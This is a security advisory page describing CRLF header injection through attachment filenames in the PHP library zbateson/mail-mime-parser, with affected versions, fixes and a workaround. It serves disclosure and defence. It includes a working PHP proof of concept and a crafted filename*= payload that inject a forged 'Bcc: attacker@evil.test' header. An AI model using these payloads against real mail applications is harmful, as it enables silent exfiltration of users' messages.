GIVE YOUR AGENT THE EVIDENCE

Set up in your agent.

One prompt to get started. Paste it into your coding agent to connect cve.new through MCP and bring vulnerability context into your workflow.

Your agent needs remote MCP support and access to https://cve.new/mcp.

Read the setup guide

GIVE YOUR AGENT THE EVIDENCE

Investigate in your agent.

Turn this advisory into a focused investigation. Ask your agent to check your project’s versions, explain the evidence, and suggest a compatible fix.

Your agent needs remote MCP support and access to https://cve.new/mcp.

Read the setup guide

GHSA-36h5-qg4p-q2qfhigh7.2

zbateson/mail-mime-parser has CRLF header injection via attachment filename

Check your stack

Summary

The imported advisory is rated high severity. It identifies 1 affected package; whether you are affected depends on your installed version. It is not listed in the imported CISA KEV data; that does not establish that exploitation has not occurred.

Summary by cve.new · CC BY 4.0

Original source description

Impact

A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.

Attachment filenames are interpolated into the Content-Type and Content-Disposition header values without stripping CR/LF, so a filename containing \r\n serializes as one or more additional, attacker-controlled header lines (for example a forged Bcc: that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.

Details

On the outbound side, MultipartHelper::createAndAddPartForAttachment() sanitizes the filename only with iconv('UTF-8','US-ASCII//translit//ignore', $filename). CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via MimePart::setRawHeader(). A filename of doc\r\nBcc: attacker@evil.test therefore serializes as:

Content-Disposition: attachment;
 filename="doc
Bcc: attacker@evil.test"

The filename value closes after doc, and Bcc: attacker@evil.test stands as its own header line.

The decode side is affected as well, which is what makes purely inbound exploitation possible:

  • ParameterPart::decodePartValue() rawurldecode()s an RFC 2231 filename*= parameter with no control-character stripping, so a crafted filename*=utf-8''doc%0D%0ABcc:... makes getFilename() return a string with embedded \r\n.
  • The RFC 2047 path (MimeToken) strips \r/\n from the encoded word, but then base64/quoted-printable-decodes it, which can reintroduce CR/LF into the decoded value.

As a result getFilename() can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;
use ZBateson\MailMimeParser\Message;

$parser = new MailMimeParser();

function attachAndReport(string $filename): void {
    $out = Message::from("From: me@host\r\nContent-Type: text/plain\r\n\r\nhi\r\n", false);
    $out->addAttachmentPart('payload', 'application/octet-stream', $filename);
    echo (strpos($out->__toString(), "\r\nBcc: attacker@evil.test") !== false)
        ? "INJECTED\n" : "clean\n";
}

attachAndReport('invoice.pdf');                    // => clean
attachAndReport("doc\r\nBcc: attacker@evil.test"); // => INJECTED

// The CRLF reaches getFilename() straight from parsed mail via an
// RFC 2231 filename*= parameter, so no local construction is needed:
$inbound = "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
    . "--b\r\nContent-Type: application/octet-stream\r\n"
    . "Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%20attacker@evil.test\r\n\r\n"
    . base64_encode('data') . "\r\n--b--\r\n";
$fn = $parser->parse($inbound, false)->getAllAttachmentParts()[0]->getFilename();
var_dump($fn);        // => string(28) "doc\r\nBcc: attacker@evil.test"
attachAndReport($fn); // => INJECTED

Patches

Fixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions.

Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release.

Workarounds

If upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. preg_replace('/[\r\n]+/', ' ', $filename).

  • Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Affected packages

Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.

Ecosystem versions

Earlier releases before 3.0.6

Fixed in 3.0.6

68 explicitly affected versions

0.1.0, 0.1.1, 0.2.0, 0.2.1, 0.2.2, 0.2.3, 0.2.4, 0.2.5, 0.3.0, 0.3.1, 0.3.2, 0.3.3, 0.4.0, 0.4.1, 0.4.10, 0.4.11, 0.4.12, 0.4.13, 0.4.2, 0.4.3, 0.4.4, 0.4.5, 0.4.6, 0.4.7, 0.4.8, 0.4.9, 1.0-alpha, 1.0-alpha.2, 1.0-beta, 1.0.0, 1.1.0, 1.1.1, 1.1.2, 1.1.3, 1.1.4, 1.1.5, 1.1.6, 1.1.7, 1.1.8, 1.2.0, 1.2.1, 1.2.2, 1.2.3, 1.3.0, 1.3.1, 1.3.2, 1.3.3, 2.0.0, 2.0.0-beta, 2.0.0-beta.1, 2.0.1, 2.1.0, 2.1.1, 2.2.0, 2.2.1, 2.2.2, 2.2.3, 2.3.0, 2.4.0, 2.4.1, 3.0.0, 3.0.0-beta, 3.0.0-beta.2, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5

View affected-version evidence
{
  "ranges": [
    {
      "events": [
        {
          "introduced": "0"
        },
        {
          "fixed": "3.0.6"
        }
      ],
      "type": "ECOSYSTEM"
    }
  ],
  "versions": [
    "0.1.0",
    "0.1.1",
    "0.2.0",
    "0.2.1",
    "0.2.2",
    "0.2.3",
    "0.2.4",
    "0.2.5",
    "0.3.0",
    "0.3.1",
    "0.3.2",
    "0.3.3",
    "0.4.0",
    "0.4.1",
    "0.4.10",
    "0.4.11",
    "0.4.12",
    "0.4.13",
    "0.4.2",
    "0.4.3",
    "0.4.4",
    "0.4.5",
    "0.4.6",
    "0.4.7",
    "0.4.8",
    "0.4.9",
    "1.0-alpha",
    "1.0-alpha.2",
    "1.0-beta",
    "1.0.0",
    "1.1.0",
    "1.1.1",
    "1.1.2",
    "1.1.3",
    "1.1.4",
    "1.1.5",
    "1.1.6",
    "1.1.7",
    "1.1.8",
    "1.2.0",
    "1.2.1",
    "1.2.2",
    "1.2.3",
    "1.3.0",
    "1.3.1",
    "1.3.2",
    "1.3.3",
    "2.0.0",
    "2.0.0-beta",
    "2.0.0-beta.1",
    "2.0.1",
    "2.1.0",
    "2.1.1",
    "2.2.0",
    "2.2.1",
    "2.2.2",
    "2.2.3",
    "2.3.0",
    "2.4.0",
    "2.4.1",
    "3.0.0",
    "3.0.0-beta",
    "3.0.0-beta.2",
    "3.0.1",
    "3.0.2",
    "3.0.3",
    "3.0.4",
    "3.0.5"
  ]
}
Ecosystem versions

From 4.0.0 before 4.0.2

Fixed in 4.0.2

2 explicitly affected versions

4.0.0, 4.0.1

View affected-version evidence
{
  "ranges": [
    {
      "events": [
        {
          "introduced": "4.0.0"
        },
        {
          "fixed": "4.0.2"
        }
      ],
      "type": "ECOSYSTEM"
    }
  ],
  "versions": [
    "4.0.0",
    "4.0.1"
  ]
}

References